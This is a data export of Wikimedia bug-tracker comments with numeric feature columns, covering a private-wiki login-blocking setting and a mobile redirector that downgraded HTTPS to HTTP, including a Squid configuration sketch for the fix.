164869,$wgBlockDisablesLogin - effective on a private wiki?,"No, the behavior apparently is that the user who logs in, after a failed login, gets read/write access ''but where anonymous users shouldn't get it in the first place'', i.e. $wgGroupPermissions['*']['read']=false;.",,,1333409126,,PHID-USER-wqc7ciyvfzunj3l2tvjt,False,,,PHID-TASK-axi7qtlxpdfglq4l6ae2,task_subcomment,,True,c2,1,False,,,-74,True,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,2.0,5.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,4.3023255813953485,0.8372093023255814,"No, the behavior apparently is that the user who logs in, after a failed login, gets read/write access ''but where anonymous users shouldn't get it in the first place'', i.e. $wgGroupPermissions['*']['read']=false;."
164864,$wgBlockDisablesLogin - effective on a private wiki?,"This is the correct behaviour, that setting doesn't disable anonymous read/write access as stated on the page: https://www.mediawiki.org/wiki/Manual:$wgBlockDisablesLogin",,,1333346525,,PHID-USER-fl3e5yy5n6ewjsv242bg,False,,,PHID-TASK-axi7qtlxpdfglq4l6ae2,task_subcomment,,True,c2,1,False,,,-74,True,0.0,0.0,0.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,9.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.217391304347826,0.9565217391304348,"This is the correct behaviour, that setting doesn't disable anonymous read/write access as stated on the page: URL"
164858,$wgBlockDisablesLogin - effective on a private wiki?,"No, the user login is denied, but as an anonymous user there is read/write access.",,,1331934674,,PHID-USER-wqc7ciyvfzunj3l2tvjt,False,,,PHID-TASK-axi7qtlxpdfglq4l6ae2,task_subcomment,,True,c2,1,False,,,-76,True,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.4,0.85,"No, the user login is denied, but as an anonymous user there is read/write access."
164853,$wgBlockDisablesLogin - effective on a private wiki?,"Do you mean that existing logins remain valid?

... fixed link: https://www.mediawiki.org/wiki/Manual_talk:$wgBlockDisablesLogin",,,1331876233,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-axi7qtlxpdfglq4l6ae2,task_subcomment,,True,c2,1,True,,,-76,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.8,1.0,"Do you mean that existing logins remain valid?

... fixed link: URL"
37215,Mobile redirect strips https,"When I access https://en.wikipedia.org on my cellphone, the redirector sends me to http://en.m.wikipedia.org but not the https one.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1331692860,1384598439.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-lnln237zpmkwoeh5dppn,task_description,resolved,True,c2,1,False,False,True,-76,True,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.763157894736842,0.7105263157894737,"When I access URL on my cellphone, the redirector sends me to URL but not the https one.

--------------------------
**Version**: unspecified
**Severity**: normal"
172002,Mobile redirect strips https,Yay!,,,1384598439,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,Yay!
171995,Mobile redirect strips https,"(In reply to comment #18)
> Was this fixed as part of another piece of work?

The move to varnish. (I guess) AIUI, squid is no longer in active use. (except maybe brewster?)

> Are there outstanding
> issues?

bug 31369 should be mostly still broken. (did ~3 mins of testing just now)

Also, just found a (possibly new) issue: bug 57132

I'm not sure if the mobile redirect already has tests but definitely deserves some :)

> If it is completely fixed, this should be disseminated in a tech notes if it
> hasnt been done already.

Looks like this is where the magic happens:
https://git.wikimedia.org/blob/operations%2Fpuppet.git/f3db6e91cdefa91f27e04f639f9de8146d1d14a5/templates%2Fvarnish%2Ftext-frontend.inc.vcl.erb#L23",,,1384591350,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,3,False,,,11,True,1.0,0.0,0.0,0.5,1.0,3.5,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.5,0.0,11.0,5.5,0.0,1.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,2.0,9.5,2.5,1.0,5.5,0.0,1.0,0.0,0.5,1.5,0.0,2.0,0.0,1.5,5.5,1.5,0.5,0.0,0.0,1.5,0.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,3.3927793904209,0.7908200290275762,"(In reply to comment #18)
QUOTE

The move to varnish. (I guess) AIUI, squid is no longer in active use. (except maybe brewster?)

QUOTE
QUOTE

bug 31369 should be mostly still broken. (did ~3 mins of testing just now)

Also, just found a (possibly new) issue: bug 57132

I'm not sure if the mobile redirect already has tests but definitely deserves some :)

QUOTE
QUOTE

Looks like this is where the magic happens:
URL"
171989,Mobile redirect strips https,"I can no longer reproduce the problem in the original report in Firefox Beta and Opera Mini on Android.

On each app, I cleared the app data, clicked on the link https://en.wikipedia.org as appears on this bug, and was directed to https://en.m.wikipedia.org/wiki/Main_Page

Well done!

Was this fixed as part of another piece of work?  Are there outstanding issues?
If it is completely fixed, this should be disseminated in a tech notes if it hasnt been done already.",,,1384588487,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,3,True,,,11,True,1.0,0.0,1.0,4.0,0.0,2.0,1.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,1.0,2.0,0.0,7.0,15.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,15.0,2.0,2.0,11.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,4.0,15.0,5.0,2.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.652173913043478,0.7282608695652174,"I can no longer reproduce the problem in the original report in Firefox Beta and Opera Mini on Android.

On each app, I cleared the app data, clicked on the link URL as appears on this bug, and was directed to URL

Well done!

Was this fixed as part of another piece of work?  Are there outstanding issues?
If it is completely fixed, this should be disseminated in a tech notes if it hasnt been done already."
171983,Mobile redirect strips https,*** Bug 31334 has been marked as a duplicate of this bug. ***,,,1368720968,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,True,,,-15,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 31334 has been marked as a duplicate of this bug. ***
171977,Mobile redirect strips https,"Comment in RT #2635 by Asher Feldman is:

""This has been a known issue since day 1 and will not be addressed while squid is still in use for article caching.  It will be addressed when squid and the current redirector are both retired.  This has no bearing on mobile login, or on any features being developed by the mobile team.""",,,1368719113,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,True,,,-15,True,1.0,0.0,0.0,4.0,1.0,6.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,7.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,10.0,4.0,4.0,11.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,1.0,12.0,6.0,0.0,3.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.75,0.7638888888888888,"Comment in RT #2635 by Asher Feldman is:

""This has been a known issue since day 1 and will not be addressed while squid is still in use for article caching.  It will be addressed when squid and the current redirector are both retired.  This has no bearing on mobile login, or on any features being developed by the mobile team."""
171972,Mobile redirect strips https,"**mwalker** wrote:

In theory, when someone accesses HTTPS they're doing it because they're concerned about their privacy/security. There may be concerns that their mobile carrier is injecting things, or that some national agency is monitoring their communications, or ??? It doesn't really matter though -- a user has requested we respect their privacy and then we go ahead and ignore it. Even beyond that; this is seriously unexpected behavior and it's not announced to the user that this is happening. This should be fixed immediately.

It also causes issues with other extensions being deployed to the mobile site. E.g. CentralNotice when it makes its RecordImpression call.

It's stupid to hang this bug on varnish maybe, or maybe not, having been deployed. Given that this is 2013Q2 apparently the varnish deploy has been pushed back.

!!! Let's fix this by redirecting everything to HTTPS. !!!

Not only is redirecting everything to HTTPS respectful to users wishes; it's  also not unexpected -- HTTP to HTTPS promotion is commonly seen and does not cause CORS issues.",,,1366756652,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,False,,,-19,True,0.3333333333333333,1.3333333333333333,0.0,2.0,2.6666666666666665,3.6666666666666665,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.3333333333333333,9.0,6.666666666666667,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,7.333333333333333,0.3333333333333333,3.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,2.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,7.666666666666667,1.6666666666666667,1.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,4.666666666666667,7.333333333333333,2.3333333333333335,2.3333333333333335,4.333333333333333,0.0,0.0,2.6666666666666665,0.0,3.6666666666666665,0.0,0.0,0.0,6.333333333333333,6.666666666666667,3.3333333333333335,1.0,0.0,0.0,6.333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,2.6666666666666665,0.0,0.0,0.0,4.203703703703703,0.7407407407407408,"**mwalker** wrote:

In theory, when someone accesses HTTPS they're doing it because they're concerned about their privacy/security. There may be concerns that their mobile carrier is injecting things, or that some national agency is monitoring their communications, or ??? It doesn't really matter though -- a user has requested we respect their privacy and then we go ahead and ignore it. Even beyond that; this is seriously unexpected behavior and it's not announced to the user that this is happening. This should be fixed immediately.

It also causes issues with other extensions being deployed to the mobile site. E.g. CentralNotice when it makes its RecordImpression call.

It's stupid to hang this bug on varnish maybe, or maybe not, having been deployed. Given that this is 2013Q2 apparently the varnish deploy has been pushed back.

!!! Let's fix this by redirecting everything to HTTPS. !!!

Not only is redirecting everything to HTTPS respectful to users wishes; it's  also not unexpected -- HTTP to HTTPS promotion is commonly seen and does not cause CORS issues."
171964,Mobile redirect strips https,"Arthur brought the request  up in the ops@ mailing list.

Quoting Asher Feldman's reply:
""The proposed solution in the bugzilla ticket is to run an additional 100
redirector processes on every squid just to handle https mobile redirects.
I don't like that.  It will be easy to do cleanly once text has been
migrated to varnish, hopefully in 2013Q2.""",,,1357143851,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,True,,,-34,True,1.0,0.0,0.0,0.0,1.0,4.0,3.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,13.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,20.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,9.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,3.0,13.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.8947368421052633,0.7894736842105263,"Arthur brought the request  up in the ops@ mailing list.

Quoting Asher Feldman's reply:
""The proposed solution in the bugzilla ticket is to run an additional 100
redirector processes on every squid just to handle https mobile redirects.
I don't like that.  It will be easy to do cleanly once text has been
migrated to varnish, hopefully in 2013Q2."""
171957,Mobile redirect strips https,"Max, run your changes by ops and see what they have to say. Even mailing to the ops list might be a good approach to get the changes made sooner rather than later.",,,1354558795,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,14.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,3.0,6.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,6.0,14.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,3.638888888888889,0.8333333333333334,"Max, run your changes by ops and see what they have to say. Even mailing to the ops list might be a good approach to get the changes made sooner rather than later."
171951,Mobile redirect strips https,*** Bug 42605 has been marked as a duplicate of this bug. ***,,,1354536412,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,True,,,-39,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 42605 has been marked as a duplicate of this bug. ***
171947,Mobile redirect strips https,"The solution (admittedly, ugly one) is to make the redirector redirect to http or https depending on command-line argument and have two sets of redirection rules, one for http and another for https. In such case, the bottom of mobile_acls.conf would look something like that:

acl forwarded_https req_header X-Forwarded-Proto https

url_rewrite_access allow mobile wpcontent !nomobile !nomobileua !mobtrial !forwarded_https
url_rewrite_access allow wap wpcontent !nomobile !nomobileua !mobtrial !forwarded_https
url_rewrite_access allow mobile googlebot !forwarded_https
url_rewrite_program /usr/local/bin/redirector
url_rewrite_children 100
url_rewrite_concurrency 200

url_rewrite_access allow mobile wpcontent !nomobile !nomobileua !mobtrial forwarded_https
url_rewrite_access allow wap wpcontent !nomobile !nomobileua !mobtrial forwarded_https
url_rewrite_access allow mobile googlebot forwarded_https
url_rewrite_program /usr/local/bin/redirector --https
url_rewrite_children 100
url_rewrite_concurrency 200",,,1354135959,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,False,,,-39,True,0.0,0.5,0.0,0.0,0.0,5.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,4.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,5.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,20.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,2.5,0.0,1.5,2.5,0.0,0.0,9.0,0.0,1.5,0.0,6.5,0.0,1.5,4.5,10.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,5.829113924050633,0.5316455696202532,"The solution (admittedly, ugly one) is to make the redirector redirect to http or https depending on command-line argument and have two sets of redirection rules, one for http and another for https. In such case, the bottom of mobile_acls.conf would look something like that:

acl forwarded_https req_header X-Forwarded-Proto https

url_rewrite_access allow mobile wpcontent !nomobile !nomobileua !mobtrial !forwarded_https
url_rewrite_access allow wap wpcontent !nomobile !nomobileua !mobtrial !forwarded_https
url_rewrite_access allow mobile googlebot !forwarded_https
url_rewrite_program /usr/local/bin/redirector
url_rewrite_children 100
url_rewrite_concurrency 200

url_rewrite_access allow mobile wpcontent !nomobile !nomobileua !mobtrial forwarded_https
url_rewrite_access allow wap wpcontent !nomobile !nomobileua !mobtrial forwarded_https
url_rewrite_access allow mobile googlebot forwarded_https
url_rewrite_program /usr/local/bin/redirector --https
url_rewrite_children 100
url_rewrite_concurrency 200"
171942,Mobile redirect strips https,"Figured it out: because our HTTPS servers act as proxies, the squids receive every request already via HTTP. MediaWiki detects the protocol with isset( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' however I'm not sure if Squid can pass enough information to the redirector for it to figure out the protocol.",,,1353977527,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,False,,,-40,True,1.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,1.0,3.0,7.0,0.0,0.0,0.0,3.0,0.0,4.0,15.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,6.0,15.0,9.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.397058823529412,0.75,"Figured it out: because our HTTPS servers act as proxies, the squids receive every request already via HTTP. MediaWiki detects the protocol with isset( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' however I'm not sure if Squid can pass enough information to the redirector for it to figure out the protocol."
171937,Mobile redirect strips https,"Interest(In reply to comment #8)
> I don't see how this can be fixed in redirector, as it can't redirect https
> URLs at all, but since it redirects, apparently it receives URLs with HTTPS
> already stripped.

Squid handles the invocation of the redirector code - the ACLs for mobile redirection live on fenari in /home/w/conf/squid/mobile_acls.conf (I'm not sure off the top of my head what git repo this might exist in), and redirector is defined as the url rewrite program in that file as well. If something is stripping https and sending 'http' to redirector, it's almost certainly in squid somewhere. Asher or Patrick may know more.",,,1351138714,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,False,,,-44,True,0.0,1.0,0.0,1.0,0.5,2.0,0.0,0.0,0.0,1.0,5.5,2.5,0.0,1.0,0.0,1.0,0.0,6.5,9.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,1.0,1.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.5,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,2.0,6.5,1.0,3.0,5.0,0.0,0.0,0.0,0.5,2.5,0.0,1.0,0.0,2.0,9.5,5.0,0.0,2.0,0.0,2.0,0.0,0.5,0.0,0.0,2.0,1.0,0.0,0.5,3.9326923076923075,0.7961915535444948,"Interest(In reply to comment #8)
QUOTE
QUOTE
QUOTE

Squid handles the invocation of the redirector code - the ACLs for mobile redirection live on fenari in /home/w/conf/squid/mobile_acls.conf (I'm not sure off the top of my head what git repo this might exist in), and redirector is defined as the url rewrite program in that file as well. If something is stripping https and sending 'http' to redirector, it's almost certainly in squid somewhere. Asher or Patrick may know more."
171932,Mobile redirect strips https,"I don't see how this can be fixed in redirector, as it can't redirect https URLs at all, but since it redirects, apparently it receives URLs with HTTPS already stripped.",,,1351108319,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,False,,,-44,True,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,19.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,0.8333333333333334,"I don't see how this can be fixed in redirector, as it can't redirect https URLs at all, but since it redirects, apparently it receives URLs with HTTPS already stripped."
171929,Mobile redirect strips https,Yay!,,,1349902159,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,True,,,-46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,Yay!
171924,Mobile redirect strips https,This is actually being worked on as a part of the updates to redirector.c (https://mingle.corp.wikimedia.org/projects/mobile/cards/194). Hopefully this will be resolved in production next week or the week following.,,,1349902108,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,False,,,-46,True,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.333333333333333,0.9333333333333333,This is actually being worked on as a part of the updates to redirector.c (URL Hopefully this will be resolved in production next week or the week following.
